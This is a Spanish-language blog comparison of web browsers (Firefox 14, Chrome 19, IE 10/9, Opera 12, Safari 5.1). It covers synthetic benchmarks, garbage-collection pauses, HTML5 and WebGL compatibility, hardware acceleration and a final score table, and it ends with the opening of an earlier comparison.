Test sintético que mezcla varios elementos para medir el rendimiento de los navegadores. Personalmente me gustaba más la versión anterior pero ya no es posible hacerla andar. Mezcla parte JS, trabajo con cadenas, gráficos… y sobre todo objetos DOM. Como ya dijimos también, ha sido un test muy criticado por explotar con fines mediáticos la fortaleza y debilidades de los navegadores, un test muy parcial. Pero de nuevo, no deja de ser un buen indicador, muchas veces es necesario conocer los puntos fuertes y débiles de cada navegador para poder mejorarlos. Lo único que no queda claro del todo es si el echo de que el navegador pase o no pase más test puntúa más. Más que nada porque el test en un momento dado intenta reproducir vídeo en diferentes codec por medio de html5, y si no lo logra no lo puntúa correctamente. Recordemos que el codec usado para el tag <video> de html5 no es una especificación, que eso queda a discreción del navegador. El test de niels pra HTML5 es mucho más riguroso en este tipo de cuestiones, Peacekeeper no tendría incluir en sus test este apartado

[singlepic id=13 w=700 h=458 float=center]

 

Spinnig Balls

Cualquier programa informático generalmente requiere un buen gestor de memoria que esté de forma asidua buscando y liberando cualquier trozo de RAM que ya no use. Esto es útil por dos razones principalmente: Primero porque de lo contrario el consumo de RAM subiría constantemente y terminaría con consumir toda la existente, y segundo porque la ejecución del programa sería cada vez más lenta y los datos en RAM más fraccionados. Esto como digo se evita “reciclando” la RAM cada cortos períodos de tiempo. Los navegadores pueden producir en cortos períodos de tiempo muchos objetos nuevos que se destruyen igualmente rápidos alguno de ellos, lo cual genera constantemente muchos trozos de RAM “basura” que es bueno ir liberando. La alternativa de no usar GC (Garbage Collection) no es viable. El problema de los recicladores es que dependiendo del sistema GC que estén usando pueden detener la ejecución del proceso hasta que el reciclado se ha terminado. Esto en un navegador se traduce por ejemplo con una extraña pausa en un momento dado, un salto en u juego, un drop de FPS momentáneo… cuestiones que realmente no implican que el proceso se ejecute más rápido o menos rápido, sino que se ejecute de forma fluida o no. Esto lo hemos visto en muchos test en los que algunos navegadores no es que obtengan bajos FPS, sino que aplicaciones que aun obteniendo altos FPS son totalmente imposibles de manejar dada las continuadas pausas.

Este test mide este comportamiento. Genera muchos objetos constantemente y mide las pausas que se registran. Este test es muy muy sensible a cualquier otro proceso que se esté ejecutando, así que ojo. Cada pausa que registra el programa la anota, y la mejor puntuación es para aquel navegador que realiza menos pausas o pausas más cortas. Es decir que un navegador que a lo mejor tienen 10 pausas de 5 ms y otro que posee 5 de 10 ms, el primero obtendrá mejor resultado ya que la implicación es menor y la ejecución mucho más fluida.

[singlepic id=19 w=700 h=458 float=center]

  • Internet Explorer 9: No es compatible con el test
  • Firefox: El GC actual de Firefox no es todo lo estable que se podría esperar,  aunque cuando funciona correctamente es el mejor de los navegadores.

 

Test de compatibilidad HTML5 de Niels

A día de hoy pun buen navegador no solo es aquel que es el más rápido, sino que también está en continuo desarrollo para adaptarse a los nuevos tiempos y a los nuevos estándares. El test de Niels es uno de los mejores identificativos para medir la compatibilidad con el futuro estandard HTML5. Repito, el test de Niels TAN SOLO mide especificaciones HTML5, no mide ningún otro estándar, y son muchos otros los que a día de hoy disponemos:

[singlepic id=10 w=700 h=458 float=center]

  • El test de Niels se basa actualmente sobre 500 puntos máximos.

 

Test de compatibilidad WebGL de Khronos

Exactamente igual que testeamos poco a poco las especificaciones HTML5 que van formándose, hacemos lo mismo con las especificaciones de WebGL. WebGL es un estándar para permitir que el navegador pueda ejecutar gráficos avanzados en él, es llevar la API OpenGL a los navegadores. Dos navegadores pueden ser compatibles con WebGL, pero si uno no es compatible en algunas cuestiones de WebGL el resultado puede ser simplemente que el contenido no se visualice o se visualice mal. Mientras buscaba algunos test WebGL interesantes, en muchos casos no todos los navegadores con soporte WebGL podrían ejecutarlos correctamente

[singlepic id=1 w=700 h=458 float=]

  • Internet Explorer y Safari: No son compatibles
  • Chrome: Varios test de la suite producían un comportamiento totalmente anómalo de este, obligando a reiniciar Chrome. El resultado mostrado es eliminando los test que impedían su funcionamiento
  • Firefox: Aunque pudo completar el test totalmente, uno de los test en particular (que también afectaba a Chrome) producía paralizaciones de todo el navegador en diferentes momentos. Al final no impidió en cambio terminar con todos los test sin producir un cierre forzado

 

IE Center Testing

Microsoft posee desde hace ya tiempo un site con una tabla que muestra la compatibilidad de los diferentes navegadores frente a los nuevos estándares. Los test son los mismos solo que yo los aplico a mis versiones de los navegadores, mientras que Microsoft la aplica a su navegador en desarrollo y las versiones oficiales de la competencia (lo cual es injusto evidentemente).

También hay que entender que aunque la suite de test que expone Microsoft es bastante completa (siendo a mi gusto el test de compatibilidad mas completo que hay), es totalmente parcial y engañosa. Es decir, la suite de test creados por Microsoft para probar la compatibilidad de los navegadores se basa en exponer TODAS las compatibilidades que Microsoft sabe que Internet Explorer 10 será compatible, con lo que cabe esperar que posiblemente Internet Explorer 10 cuando sea oficial obtenga un 100% en todos los test. En cambio, para muchas otras especificaciones y partes de especificaciones en las que Internet Explorer no es capaz de dar la talla, Microsoft simplemente no crea test para ellos. Es el caso de muchas especificaciones de HTML5 (que es mucho mejor identificativo el test de niels) o para WebGL. A esto habría que sumarle además errores de los propios tests, es decir que Microsoft interpreta las especificaciones de un modo y la competencia de otro… comportamiento que se ha visto en muchas ocasiones verificado.

Todo esto se resume con que esta suite es crucial a día de hoy y un excelente trabajo por parte de Microsoft sin duda, pero que quizás tan solo cubre un 60% de un todo, siendo el 60% que cubre el que precisamente interesa a Microsoft por ser compatible con su navegador. Aun así el soporte para CSS, SVG y otras tecnologías es hasta bonito:

[singlepic id=8 w=700 h=458 float=center]

  • Mis test están actualizados con la última versión del IE Center de Microsoft, actualizada a 29/02/2012

 

 

Conclusiones

Si valoramos cada navegador como se dijo al comienzo, los resultados serían por tanto los siguientes:

Resultados Firefox 14 x86 Chrome 19 IE 10/9 x86
Opera 12
Safari 5.1
Rendimiento 56 48 34 19 35
JavaScript 12 12 7 9 5
Canvas 14 17 16 6 7
Gráficos 25 14 24 22 7
WebGL 10 8 0 6 0
Otros 8 9 2 7 4
Compatibilidad 12 11 6 10 3
Estabilidad 5 5 3 2 1
           
Total 134 115 90 74 58

 

  • Rendimiento

    El rendimiento de un navegador no sólo se resume en lo rápido que pueda ejecutar un código en JavaScript o los fps que sea capaz de mostrar en cualquier aplicación/juego. De echo, desde mi punto de vista posee un peso más que importante a la hora de escoger uno u otro. ¿Cuantas horas a la semana pasamos delante de un PC/dispositivo con el navegador abierto? Cada vez disponemos de dispositivos más potentes, pero las páginas Web, las aplicaciones Web… cada vez son más complejas igualmente y requieren de esa potencia extra. Por tanto es de extrema importancia que el navegador no solo sea capaz de ejecutar una tarea lo más rápida posible, sino que el propio navegador se comporte de forma ágil y veloz en el sistema. Eso implica que tenga excelentes gestores de memorias propios, que pueda gestionar inteligentemente la carga de nuevos contenidos, reducir en la medida los accesos a disco, innovar en nuevos sistemas de almacenaje de datos para su rápido acceso… y sinceramente esto es una tarea muy complicada.

    En cuanto a tiempos de inicio se refiere, sin duda alguna Chrome reina sobre la competencia siempre y cuando se estén abriendo al mismo tiempo múltiples pestañas. Este comportamiento evidencia la necesidad de que el navegadores sean poco a poco multiprocesados. Recordemos que aunque todos los navegadores a día de hoy sin multihilos, tan solo Internet Explorer y Chrome son multiprocesos. Esto les otorga entre otras cosas ser (al menos teóricamente hablando) más veloces y eficaces a la hora de manejar múltiples pestañas. El problema es que esto no es tan simple de realizar, sobre todo cuando el proyecto es de grandes proporciones. Eventualmente, Mozilla separará los procesos de las pestañas y llegará a ser una realidad el proyecto Electrolysis. Igualmente, antes o después Opera y Safari tomarán caminos similares.

    El principal problema de abrir múltiples pestañas a la par es la sobrecarga en el navegador, independientemente de la velocidad con la que se cargue el navegador. En los navegadores no multiprocesados como Firefox, Opera o Safari la apertura múltiple de muchas pestañas podría provocar al usuario la sensación de paralización/congelación de este hasta que prácticamente todas las pestañas estuviesen cargadas, ya que desde el punto de vista del navegador tan solo estaría llevando a cabo una misma tarea. Para Internet Explorer o Chrome este problema no lo tienen, cada pestaña tiene su propio espacio y sería el propio sistema operativo quien gestionaría por medio de su planificador (Scheduler). Para tratar con ello, tanto Opera como Firefox usan por defecto la carga selectiva de pestañas, es decir, por defecto cuando se abren múltiples pestañas a la par tan solo se cargan aquella que esté en primer plano. El efecto es inmediato, de poder tener el navegador paralizado durante múltiples segundos la navegación es instantánea, y mientras se pueden ir cargando de fondo el resto de las pestañas. Por supuesto a la hora de medir los tiempos, este comportamiento se deshabilitó para que todos los navegadores estuviesen en igualdad de condiciones.

    Todo tiene pros y contras, y que una aplicación sea multiprocesos implica inevitablemente otros efectos secundarios cuando no se cuidan demasiado, y que se evidencia en una sobrecarga adicional en la memoria RAM y en el tiempo necesario para finalizar por completo la aplicación. De esta forma, efectivamente tanto Chrome como Internet Explorer son los que poseen un tiempo sensiblemente superior en cuanto a tiempo de cierre, siendo sus consumos de RAM significamente superiores que si los comparamos con el consumo de RAM de Firefox. Safari por su lado mostró un comportamiento más intermedio y como sorpresa, Opera mostró un resultado terrible.

    En otro orden de cosas encontraríamos sorpresivamente que Firefox es el mejor navegador a la hora de descargar una web no cacheada, y el segundo cuando sí la tiene. Chrome le rozaría los pies de cualquier modo siendo las diferencias mínimas, e Internet Explorer mostró un comportamiento bastante decente.

    Por último, hay que destacar el rendimiento en la reproducción de contenido en 1080p de los navegadores y de la mitificación que otrora intentó Steve Jobs en que Flash es la lacra para el rendimiento, la seguridad y el pasado. Para empezar Flash es mucho más que un simple reproductor de vídeos, y para terminar es evidente que a día de hoy es de lejos la mejor opción a la hora de reproducir cualquier contenido en HD. Si miramos los recursos usados por el equipo en la reproducción de contenidos en Flash y contenidos en WebM, vemos que las diferencias son sorprendentes. Evidentemente estas grandes diferencias son principalmente por la aceleración por Hardware con la que cuenta Flash y no WebM, pero es una cuestión de números. Mientras que reproducir en el equipo de pruebas un vídeo 1080p en flash consumía en el peor de los navegadores un 13% de la CPU (menos de un 1% en los mejores casos) y un 8% la GPU (en el peor de los casos), WebM llegó a a necesitar en el mejor de los escenarios un 8% CPU/18% GPU, elevando la carga de la CPU en el caso de Opera hasta el 21% (y un 16% la GPU). Sea como sea a día de hoy la mejor opción para la reproducción de vídeos es Flash gracias al gran soporte que esta tecnología posee en cuanto a aceleración de hardware se refiere.

    Por supuesto, se podría usar otros codec como H264 para la reproducción de vídeo por HTML5, y este poseería mejor soporte para aceleración por hardware que WebM (y mayor calidad), pero h264 está fuertemente patentado. Aun así, el rendimiento sería inferior al mostrado por Flash.

    No estoy diciendo que el futuro del vídeo sea Flash, el que los navegadores posean capacidad para reproducir vídeo y audio a través de ellos mismos es algo importantísimo y una herramienta muy potente. Pero todo requiere tiempo… a veces mucho tiempo. El proyecto WebM no será posible mientras que el soporte para este sea el que estamos viendo. Por otro lado, la imposición de h264 como codec  de vídeo junto a AAC como codec de audio tampoco parece ser una respuesta a corto plazo, aunque personalmente desearía que esta última opción fuese la que se impusiese con el tiempo y que la MPEG LA abriese el codec para su uso en la Web. Seamos sensatos, soy defensor de los formatos libres y abiertos, pero el codec de vídeo VP8 (el usado en WebM)  no es rival de h264, y además este último posee mucho mejor soporte Hardware. Veremos en el futuro como termina la cosa… mientras tanto podemos más que conformarnos y ser felices por el extraordinario rendimiento de Flash.

     

  • JavaScript

    Los test sintéticos JavaScript que ya conocen todos siguen siendo punto de referencia para muchos. Como ya dije me parece que son test tramposos que tan solo buscan la buena prensa de los medios. Seamos sensatos, cualquiera que eche un vistazo a los números y luego a los entornos reales ve que existen diferencias cuanto menos graciosas. Así por ejemplo supuestamente Internet Explorer mantiene el liderazgo en SunSpider, y en cambio posee la peor puntuación en los otros dos benchmarks!! cuando además se supone que Kraken es un derivado de SunSpider. O al revés, mientras que Chrome obtiene una puntuación totalmente disparatada en su propio test V8 (el de Google), obtiene la penúltima posición en SunSpider.

    No hay que ser un genio para darse cuenta que todos los navegadores (sin excepción) optimizan partes de su código a sabiendas de estos test, con la inclusión de Fast Path y otros. Por supuesto que muchas de estas optimizaciones pueden ser llevadas a entornos reales, pero es evidente que la mayoría no, la mayoría tan solo tienen utilidad en estos test, y por tanto su fiabilidad es más que dudosa.

    De nuevo no quiere decir que sean totalmente inútiles este tipo de test, y se aprende mucho de los motores JS de cada navegador, se pueden detectar puntos calientes en ellos, mejorar… eso por supuesto!! pero estos test tienen sentido realmente cuando se comparan  no navegadores Vs navegadores de la competencia, sino en todo caso las mejoras existentes en JavaScript entre las diversas versiones del mismo navegador.

    Respecto a la comparativa anterior, los resultados para SunSpider y Kraken son muy similares, pequeños cambios. En cuanto a V8 si hay cambios más significativos, pero hay que tener en cuenta que V8 fue actualizado a su versión 7, mientras que el test anterior era la V6.

 

  • Canvas

    He querido separar este apartado del de JavaScript, aunque en realidad están muy relacionados uno con otros. En la comparativa anterior se usaban dos juegos de ejemplo que en esta ocasión han sido sustituidos por otros dos test. Canvas es una de la infinidad de especificaciones que poseerá el estándar HTML5 y que se están empezando a usar muy poco a poco. Como ya he dicho, Canvas define algo así como un espacio de trabajo en el que se ejecutará un código principalmente en JavaScript, CSS…  con lo que es posible la creación de aplicaciones Web complejas, y por supuesto juegos como Angry Bird y tantos otros. El rendimiento de estos “marcos” está ligado íntimamente con JavaScript, pero como veremos en el apartado gráfico también de otros muchos factores.

    Es complicado medir este apartado dado que se puede crear un Canvas con el contenido más vario pinto posible, y es más que posible que en algunas aplicaciones domine un navegador y en otras domine otro. No obstante, cuando valoramos de forma general todos ellos (y siempre que no hagamos un uso relativamente extensivo gráfico), Chrome e Internet Explorer son los líderes, estando Firefox relegado a una tercera posición. Más sorprendente es el caso de Opera, que aun cuando exhibe un buen comportamiento JavaScript (y como veremos más adelante gráfico) obtuvo la peor calificación. Esto nos hace ver que un entorno real como una aplicación o un juego HTML5 no es un test sintético, y que un buen competidor como Opera que sobrepasaba tanto a Internet Explorer como a Safari en JavaScript y a Chrome y Safari en el apartado gráfico, fracasa estrepitosamente aquí. Safari por su parte logra a duras penas quedar por encima de Opera.

 

  • Gráficos

    Hay que tener en cuenta antes de empezar, que aunque esta sección se llame “gráficos” no tiene nada que ver con la elavoración de gráficos complejos 3D ni nada por el estilo, sino test que pueden sacar un provecho enorme de la aceleración hardware. Así por ejemplo tenemos el test de SpeedReading que tan solo se vasa en un marcador veloz de letras, o psicodélico, que no deja de ser una imagen girando sobre sí misma.

    En la comparativa anterior, el soporte de Chrome para aceleración de vídeo estaba habilitado por defecto, y ya antes era inestable. En esta ocasión vemos que estando deshabilitado (que es como está por defecto) Chrome cae a posiciones inferiores. Aun así, aun de estar habilitado habría obtenido la misma puntuación casi con toda seguridad, ya que en esta ocasión ha sido Opera quien por fin ha activado de forma oficial el soporte hardware de este. El otro gran avance que hay que citar es sin duda alguna los Drivers del sistema de nVidia y las actualizaciones de Microsoft de DirectWrite y Direct2D, los cuales han hecho que de forma generalizada se haya experimentado un incremento sustancial en el rendimiento.

    Ha sido muy interesante comprobar el rendimiento de Opera en esta comparativa gráficamente hablando. Dado el comportamiento que mostró tanto en el test del Tanque de 3000 peces como en la pecera con 1500 peces, fue necesario incrementar el número de peces de estos para que Opera no fuese capaz de llegar a los 60 fps. Aunque al final terminase en la tercera posición, en realidad en los test en los que estuvo por debajo de Firefox o Internet Explorer no fue por demasiado.

    Opera sin duda alguna ha hecho un gran trabajo con el soporte hardware de su navegador, pero su visión fue totalmente diferente a la de Internet Explorer o Firefox. Tanto Internet Explorer como Firefox usan la API DirectWrite y Direct2D para la aceleración hardware de contenido y de capas, mientras que Opera usa OpenGL para ambos. Como ya hemos dicho todo tiene sus pros y sus contras, y esto lo vemos muy bien reflejado además en los consumos de CPU/GPU de dichos test.

    El adaptador de vídeo no se comporta igual si está ejecutando código en DirectWrite que código en OpenGL. Evidentemente (y como veremos más adelante en WebGL) OpenGL está clasificado como una API completa de alto nivel, como pueda ser Direct3D, mientras que DirectWrite y Direct2D es una API 2D tan solo. orientada al bajo consumo y eficiencia. Esto tiene una repercusión directa en el adaptador de vídeo, y es que este junto a los Drivers otorgan siempre más recursos a contenido que supuestamente es 3D. Es decir, la API DirectWrite/Direct2D está diseñada precisamente para sobrecargar en lo menos posible al adaptador de vídeo, ya que se supone que el contenido que se va a visualizar o tratar es en 2D, y por tanto no requiere de unos recursos demasiado altos!! esta asunción es totalmente sensata y es lógica: “Si se requiere de unos recursos muy elevados será porque se estará manejando gráficos complejos en 3D, de lo contrario podemos trabajar a medio gas porque el contenido 2D es infinitamente menos exigente. Y si requerimos contenido 3D complejo para ello tenemos OpenGL/Direct3D”

    Todo ello se resume en que Opera, que usa OpenGL como Backend, obtenga resultados superiores en algunos test, a expensas siempre de un consumo bastante superior tanto de CPU como especialmente de GPU. Así en el test del tanque de 3000 peces la GPU eleva su uso al 61% en Opera, mientras que Firefox con la segunda mejor marca alcanza el 38%. Mucho más exagerado lo vemos en el test de la Pecera con 2000 peces!! Opera logra la friolera de 52 fps, a expensas de requerir un 20% de CPU y poner a trabajar el adaptador de vídeo al máximo, a un 97%!! Firefox de nuevo con la segunda mejor marca logra los 31 fps, pero usando “tan solo” un 41% de la GPU.

    Tanto Internet Explorer como Firefox usan el mismo Backend usado de forma muy similar, aunque Firefox lo usa por regla general algo mejor (no demasiado). Chrome por su parte con el soporte experimental hace algo similar que Opera (y todos esperamos ver dentro de 6 meses que ya se encuentra activado). Safari por contrapartida se desconoce si en algún momento incorporará soporte hardware en su navegador… cosa dudosa teniendo en cuenta la mala imagen que podría dar en la prensa que el navegador Safari tuviese un rendimiento superior en Windows que en MAC OS.

    Por último decir que la ventaja de que Opera use OpenGL de backend, es que en teoría debería de ser totalmente compatible con cualquier OS compatible con OpenGL (Linux, Windows XP, MAC OS), mientras que el camino tomado ahora mismo por Firefox e Internet Explorer requieren de DirectX 9+ (recomendando DirectX 10) y Windows Vista/7.

    El futuro parece más o menos evidente. Firefox no solo tiene creado el backend de Direct2D/DirectDraw, sino que posee también un Backend OpenGL para Linux/MAC OS. Así mismo con el tiempo Mozilla abandonará Direc2D/DirecDraw e implementará un Backend en Windows basado en Direc3D, con lo que se obtendrá no solo un rendimiento superior, sino que será más compatible dentro de los diferentes adaptadores de vídeo y versiones de Windows.

 

  • WebGL

    Dado que Opera se ha sumado por fin al carro de WebGL y que Safari posee en MAC OS soporte experimental para ello, me parece sensato comenzar a puntuar también WebGL.

    Aunque en el apartado anterior se ha hablado de forma extensa sobre la aceleración de hardware y de contenido gráfico, hay que saber diferenciar totalmente WebGL de ello. En el apartado anterior se mostraba la capacidad de los navegadores para acelerar gran parte del contenido en muchas aplicaciones Web y juegos a través de diferentes APIs, como por ejemplo una imagen girando velozmente sobre ella misma, transiciones rápidas… aplicaciones o juegos que podemos encontrar cada vez más en cualquier lado. No hablamos de apartado gráfico anteriormente porque manejásemos gráficos complejos, sino para especificar que son test que hacen uso extensivo del adaptador de vídeo.

    Pero WebGL es totalmente diferente, con WebGL sí asumimos que vamos a trabajar (o al menos que podemos trabajar) con gráficos complejos. WebGL se crea como iniciativa de poder renderizar en Canvas contenido 2D/3D complejo a través de OpenGL. De prosperar y ser realmente eficiente (que es discutible dado la gran sobrecarga de JavaScript) podríamos encontrar a medio plazo juegos con bastante potencial gráfico ejecutado directamente en nuestro navegador. Como lado negativo se encuentra en que WebGL se basa evidentemente en JavaScript, y la sobrecarga de este lenguajes es muy alta. No podremos por tanto comparar jamás una aplicación/juego programada en C++ y OpenGL que programada en JavaScript y WebGL. Esta tecnología jamás será un sustituto ojo, WebGL no llega para desbancar nada, sino para añadir algo que antes era imposible.

    Gracias a WebGL vimos el increíble trabajo por parte de Google y Zigote con “Body Browser”, que es una aplicación totalmente práctica, útil y funcional. Realizar algo así sin WebGL sería imposible a día de hoy, se debería de instalar algún complemento en el navegador.

    No obstante aquí encontramos un escenario muy interesante si comparamos los datos obtenidos. Opera que obtenía unos resultados increíbles en algunos test anteriores, cuando se trata de usar WebGL no es capaz de alcanzar ni a Firefox ni a Chrome. Esto parece tener clara la explicación: Opera usa OpenGL como backend también en WebGL, pero tanto Firefox como Chrome usan ANGLE. ANGLE es un proyecto impulsado/creado/mantenido por Chrome que básicamente es una capa de software encima de DirectX 9.0c que traduce OpenGL 2.0. Dicho de otro modo, cuando Firefox o Chrome usan ANGLE todo el código ejecutado en OpenGL a través de WebGL es transformado a llamadas en Directx 9.0c.

    Soy defensor de OpenGL, sobre todo por su facilidad a la hora de programar con él, pero la API DirectX es sencillamente mejor y más rápida. Incluso con ANGLE que tiene que hacer de “traductor”, el rendimiento a través de este es superior. En Firefox existe la posibilidad no obstante de usar el soporte nativo OpenGL, pero cuando se opta por este modo, el rendimiento es algo inferior.

    Aun así, no se usa ANGLE por su rendimiento, ya que al final cuando se optimizase WebGL y el soporte nativo es de esperar que el rendimiento de este fuese superior. Se usa ANGLE porque el soporte para OpenGL varía mucho entre diferentes fabricantes. Así por ejemplo, nVidia ofrece el mejor soporte para OpenGL disponible, siendo compatible desde su serie GX 400 con OpenGL 4.2.0. Pero este escenario es totalmente desastroso cuando miramos adaptadores de vídeo Intel, que poseen un soporte para OpenGL mucho más pobre. ANGLE es una solución muy eficaz ya que asegura que sea cual sea el fabricante o el adaptador de vídeo que se tenga instalado, mientras que este sea compatible con DirectX 9.0c podrá ejecutar a la perfección contenido WebGL, y en muchos casos como vemos con un rendimiento superior. Por suerte, Intel está empezando a aplicarse el cuento y entregando controladores decentes para OpenGLen la actualidad, ahora mismo creo que ya soporta en Windows 7 hasta OpenGL 3.0. Recordar que estamos hablando en todo momento de Windows, en Linux o MAC OS no es posible bajo ningún pretexto el uso de la API DirectX, y OpenGL forma parte intrínseca de él. En el caso de Linux es posible usar OpenGL 4.2.0 (la especificación más alta actualmente) siempre y cuando el adaptador de vídeo lo permita, en el caso de MAC OS, este tan solo soporta OpenGL 2.0 y con algunas carencias.

    El test que más nos llama la atención es inmediatamente el tanque de 50.000 peces. Recordemos que realizamos el mismo test bajo HTML5 con 3000 peces, obteniendo Opera en el mejor de los casos cerca de 50 fps. En este caso tenemos el mismo tanque pero usando WebGL, y vemos que es necesario elevar a 50.000 peces para que Firefox no alcance los 60fps. Cualquiera podría decir que si disponemos de WebGL que sentido tiene el test anterior en el que el navegador no podía con 3000. Y volvemos a lo mismo, las peras se parecen a las manzanas en que las dos son frutas, pero nada más. Es más que evidente que si cualquier test html5 se puede pasar a WebGL (con lo que debe de tener un fuerte componente gráfico evidentemente) su rendimiento será infinitamente superior. En parte es la misma explicación por el cual Opera obtenía tan buenos resultados anteriormente. En este caso Firefox y Chrome no hacen uso de Direc2D o DirectDraw, sino de Direct3D (recordemos que usa ANGLE). Aun cuando usasen OpenGL puro y duro, el rendimiento sería muy superior. Pero es lógico, son APIs totalmente diferentes orientadas a funciones totalmente diferentes. Direct2D/DirectDraw no están pensadas para proporcionar un rendimiento de vértigo exprimiendo la GPU.

 

  • Estándares

    Actualmente parece que existen dos grandes frentes abiertos a la prensa. Si uno es el rendimiento en los test sintéticos, el otro es el proclamar que su navegador es compatible con HTML5, o mejor dicho, pelearse por cual es más compatible en este campo. Señores, HTML5 es muy importante en el futuro, pero de nuevo no es el único estándar emergente estos días. Es más, actualmente es infinitamente más usado CSS 3.0 como estándar emergente que HTML5. Tan importante es lo uno como lo otro.

    De nuevo y como era de esperar, todos los navegadores han mejorado su compatibilidad con los estándares existentes, sobre todo en HTML5 como podemos ver en el test de Niels (no podemos compararlo con la comparativa anterior dado que el test de Niels está en constante cambio). Aun así, y pese que Microsoft asegura que en sus test Internet Explorer 10 es el más compatible de cara a HTML5, es Chrome quien posee cierto liderazgo aquí. El problema de Chrome es que aunque es cierto que es más compatible a efectos generales en HTML5 que el resto de los navegadores, no a efectos concretos. Es decir, Chrome implementa la mayoría de funciones de HTML, pero de una forma básica, y lo mismo le pasa con CSS y otras tecnologías. Opera en contrapartida se centra en menos variedad pero de una forma mucho más profunda, intentando cumplri a rajatabla todas las especificaciones de cada sección. Esto hace que en test generalistas como el de Niels Chrome obtenga muy buenos resultados y en otros más específicos como la suite de IE obtenga resultados algo inferiores.

    Sobre la Suite de Microsoft poco podemos añadir, evidentemente es una suite totalmente engañosa para mostrar que Internet Explorer es el navegador más compatible, y en cambio en el test de niels el resultado es deprimente. No obstante Microsoft sigue avanzando a pasos agigantados en cuanto a compatibilidad se refiere, su eterna lacra desde luego… aun a día de hoy muchso webmaster necesitamos crear código redundante y hacer “trampas” para que las web se visualicen correctamente en Internet Explorer, precisamente por no ceñirse a los estándares.

    Sobre WebGL, tanto Firefox como Chrome continúan aumentando su compatibilidad, aunque desde que Khronos publicase la nueva versión de sus test, ambos han tenido algunos problemas con algunos de ellos. Opera se ha subido al carro y no ha empezado con mal pie desde luego, es agradable ver como poco a poco los navegadores van sumándose a los estándares y apoyando lo que sin duda alguna podrá ser de muchísima utilidad en el futuro. Y es evidente, hasta que no hay en el mercado un buen soporte los programadores y diseñadores no pueden pillarse los dedos creando maravillas en la web que tan solo podrán ver dos o tres personas porque sus navegadores no son compatibles. Las cosas tienen que llegar poco a poco por las dos partes..

    Aun se desconoce de forma clara si Microsoft implementará WebGL, parece más o menos claro que antes o después lo implementará, pero cada día que pasa se duda más de que Internet Explorer 10 salga a la luz con soporte para ello. Microsoft ya dijo hace tiempo que su postura era dudosa dado a los posibles problemas de seguridad que podrían derivar de WebGL, en cambio como hemos visto en Firefox o Chrome ambos fueron actualizados con las últimas especificaciones para evitar este tipo de problemas y hasta la fecha no se ha detectado ningún fallo de seguridad producido por ello. Sería bueno ver que al final Internet Explorer 10 viese la luz con WebGL, y de echo estoy totalmente seguro que los chicos de Microsoft disponen en sus laboratorio versiones de Internet Explorer 10 con soporte para WebGL. Apple por su parte mantiene la misma política, las últimas builds de WebKit poseen soporte, pero experimenta, deshabilitado por defecto y tan solo compatible con  MAC OS.

 

  • Compilaciones x64

    Sobre Internet Explorer 10 no podemos decir nada ya que aun no está disponible ninguna versión para Windows 7 nativa en 64 bits, aunque es evidente que cuando Internet Explorer 10 salga a la luz estará disponible tanto para Windows 7 como para Windows 8, tanto en 32 como en 64 bits. Esperemos que Microsoft por fin pueda habilitar sus mejoras en su motor JS en la versión de 64 bits, que como hemos visto siempre en Internet Explorer 9, está muy por atrás del resto.

    Firefox continúa ofreciendo versiones diarias de 64 bits con un rendimiento muy similar a las versionese de 32 bits, manteniendo la estabilidad. De echo si miramos todos los test realizados, la versión de 32bits y la de 64 bits de Firefox están casi siempre cara a cara. Aun así la versión de 64 bits no es oficial aun, y no parece que lo vaya a ser a corto plazo. Esto no quiere decir que no sea una versión totalmente funcional, en la que muchas veces su rendimiento es superior a las versiones de 32 bits, y más seguras.

    Opera irrumpe con su versión de 64 bits. En el caso de Opera no son tan estables como las versiones de 64 bits de Firefox y están menos optimizadas, pero parten desde una buena posición. Sin duda alguna Opera ha dado un gran salto en esta ocasión en muchos aspectos, desde la salida de su versión de 64 bits, soporte para aceleración hardware, soporte para WebGL… no está mal en estos 6 meses desde luego, y aunque no es capaz de alcanzar a Chrome, Firefox o Internet Explorer, sin duda alguna están haciendo un gran trabajo.

    Sobre Chrome y Safari por otro lado no hay indicio alguno de que una versión de 64 bits pueda ver la luz a corto plazo… habrá que esperar. Es de suponer que eventualmente Chrome sacará una, pero…

 

  • Consumo energético

    ¿Como puede influir un navegador en el consumo energético de un dispositivo? Pues es fácil, dependiendo en gran medida delos recursos que tenga que hacer uso de él. Para ello tan solo tenemos q observar la carga en la CPU/GPU del sistema para hacernos una idea.

    Cuanto menor sea la carga en ambos menor es el consumo, es evidente, pero no está tan claro cuando tenemos que pensar si es la GPU o la CPU quien prima sobre el consumo. Es decir, es mejor tener un consumo de un 10% CPU y 2% GPU o un 2 CPU y 7% GPU. Sería muy complicado llegar a una decisión unánime sin acudir a un tester de potencia y medirlo directamente, pero si más o menos imaginarlo.

    Mirando las gráficas, parece claro que el navegador más eficiente energéticamente hablando dependería dependiendo del contenido. En un escenario normal, el mejor resultado sería para Internet Explorer o Firefox, en cambio cuando se entrase en test más complejos el ganador sería Safari (por la sencilla razón de que no usaría la GPU y que no sería capaz de ejecutar correctamente el test). Opera en cambio obtendría el peor consumo de forma general, aunque puede obtener unos resultados increíbles, elevar al 97% el uso de la GPU en el test de la pecera es demasiado.

Comparativa Navegadores 2011/2: IE9, Firefox 9.0, Chrome 15.0, Safari 5.1, Opera 12

Índice

  • Versiones de los navegadores
  • Que comparar
  • Benchmarks (Nuevo: RAM, CPU, GPU, Consumo Energético…)
  • Conclusiones

 

Versiones de los navegadores

Dada la nueva tendencia al ciclo rápido de versiones al cual se están agarrando los principales navegadores, no tiene lógica hacer una comparativa cada vez que sale un navegador nuevo, puesto que además entre versiones contiguas no existirían grandes diferencias. Antes veíamos este comportamiento tan solo en Chrome, cuya versión en desarrollo es ya la 15!! los chicos de Mozilla igualmente, con los ciclos cortos de versiones han hecho que la versión en desarrollo actual sea la 9. Es decir, si recordamos la comparativa de hace 6 meses de este mismo redactor, vemos que la versión recién lanzada era Firefox 4.0 y Chrome 10. Por el contrario Micorosft con Internet Explorer 9, Opera y Safari han mantenido sus ciclos algo más largos.

En esta ocasión no se han tomado los navegadores oficiales, sino sus versiones en desarrollo más actuales. ¿Por qué? Bueno, es evidente que los navegadores que más van a dar que hablar presumiblemente (quitando sorpresas) Firefox y Chrome, y precisamente estos dos son los que poseen menos diferencias entre sus versiones oficiales y sus versiones en desarrollo, puesto que poseen los ciclos más cortos. Esto hace que se haya tomado la versión build hasta el día de hoy (1 de septiembre de 2011) de Firefox 9.0a1 (la build de dicho día) y de Chrome 15.0.865.0. En el caso de Opera, la versión en desarrollo tomada corresponde a la lanzada hace unos 10 días, Opera 12 (build 1047), que es la más actual

